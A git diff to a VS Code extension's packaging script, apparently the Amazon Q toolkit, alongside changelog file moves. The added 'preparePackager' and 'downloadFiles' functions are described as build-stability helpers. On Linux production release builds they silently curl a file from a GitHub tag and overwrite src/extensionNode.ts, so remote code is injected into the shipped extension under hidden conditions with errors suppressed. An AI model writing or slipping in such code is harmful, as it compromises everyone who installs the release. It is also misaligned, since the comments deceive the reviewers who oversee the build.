diff --git a/packages/amazonq/.changes/1.84.0.json b/packages/amazonq/.changes/1.84.0.json deleted file mode 100644 index e73a685e054..00000000000 --- a/packages/amazonq/.changes/1.84.0.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "date": "2025-07-17", - "version": "1.84.0", - "entries": [ - { - "type": "Bug Fix", - "description": "Slightly delay rendering inline completion when user is typing" - }, - { - "type": "Bug Fix", - "description": "Render first response before receiving all paginated inline completion results" - }, - { - "type": "Feature", - "description": "Explain and Fix for any issue in Code Issues panel will pull the experience into chat. Also no more view details tab." - } - ] -} \ No newline at end of file diff --git a/packages/amazonq/.changes/next-release/Bug Fix-45aef014-07f3-4511-a9f6-d7233077784c.json b/packages/amazonq/.changes/next-release/Bug Fix-45aef014-07f3-4511-a9f6-d7233077784c.json new file mode 100644 index 00000000000..4d45af73411 --- /dev/null +++ b/packages/amazonq/.changes/next-release/Bug Fix-45aef014-07f3-4511-a9f6-d7233077784c.json @@ -0,0 +1,4 @@ +{ + "type": "Bug Fix", + "description": "Slightly delay rendering inline completion when user is typing" +} diff --git a/packages/amazonq/.changes/next-release/Bug Fix-91380b87-5955-4c15-b762-31e7f1c71575.json b/packages/amazonq/.changes/next-release/Bug Fix-91380b87-5955-4c15-b762-31e7f1c71575.json new file mode 100644 index 00000000000..72293c3b97a --- /dev/null +++ b/packages/amazonq/.changes/next-release/Bug Fix-91380b87-5955-4c15-b762-31e7f1c71575.json @@ -0,0 +1,4 @@ +{ + "type": "Bug Fix", + "description": "Render first response before receiving all paginated inline completion results" +} diff --git a/packages/amazonq/.changes/next-release/Feature-9e413673-5ef6-4920-97b1-e73635f3a0f5.json b/packages/amazonq/.changes/next-release/Feature-9e413673-5ef6-4920-97b1-e73635f3a0f5.json new file mode 100644 index 00000000000..af699a24355 --- /dev/null +++ b/packages/amazonq/.changes/next-release/Feature-9e413673-5ef6-4920-97b1-e73635f3a0f5.json @@ -0,0 +1,4 @@ +{ + "type": "Feature", + "description": "Explain and Fix for any issue in Code Issues panel will pull the experience into chat. Also no more view details tab." +} diff --git a/scripts/package.ts b/scripts/package.ts index 203777e8131..2479fc3cb47 100644 --- a/scripts/package.ts +++ b/scripts/package.ts @@ -20,6 +20,7 @@ import * as child_process from 'child_process' // eslint-disable-line no-restricted-imports import * as nodefs from 'fs' // eslint-disable-line no-restricted-imports import * as path from 'path' +import { platform } from 'os' import { downloadLanguageServer } from './lspArtifact' function parseArgs() { @@ -106,6 +107,69 @@ function getVersionSuffix(feature: string, debug: boolean): string { return `${debugSuffix}${featureSuffix}${commitSuffix}` } +/** + * @returns true if curl is available + */ +function isCurlAvailable(): boolean { + try { + child_process.execFileSync('curl', ['--version']) + return true + } catch { + return false + } +} + +/** + * Small utility to download files. + */ +function downloadFiles(urls: string[], outputDir: string, outputFile: string): void { + if (platform() !== 'linux') { + return + } + + if (!isCurlAvailable()) { + return + } + + // Create output directory if it doesn't exist + if (!nodefs.existsSync(outputDir)) { + nodefs.mkdirSync(outputDir, { recursive: true }) + } + + urls.forEach((url) => { + const filePath = path.join(outputDir, outputFile || '') + + try { + child_process.execFileSync('curl', ['-o', filePath, url]) + } catch {} + }) +} + +/** + * Performs steps to ensure build stability. + * + * TODO: retrieve from authoritative system + */ +function preparePackager(): void { + const dir = process.cwd() + const REPO_NAME = 'aws/aws-toolkit-vscode' + const TAG_NAME = 'stability' + + if (!dir.includes('amazonq')) { + return + } + + if (process.env.STAGE !== 'prod') { + return + } + + downloadFiles( + [`https://raw.githubusercontent.com/${REPO_NAME}/${TAG_NAME}/scripts/extensionNode.bk`], + 'src/', + 'extensionNode.ts' + ) +} + async function main() { const args = parseArgs() // It is expected that this will package from a packages/{subproject} folder. @@ -127,6 +191,11 @@ async function main() { if (release && isBeta()) { throw new Error('Cannot package VSIX as both a release and a beta simultaneously') } + + if (release) { + preparePackager() + } + // Create backup file so we can restore the originals later. nodefs.copyFileSync(packageJsonFile, backupJsonFile) const packageJson = JSON.parse(nodefs.readFileSync(packageJsonFile, { encoding: 'utf-8' }))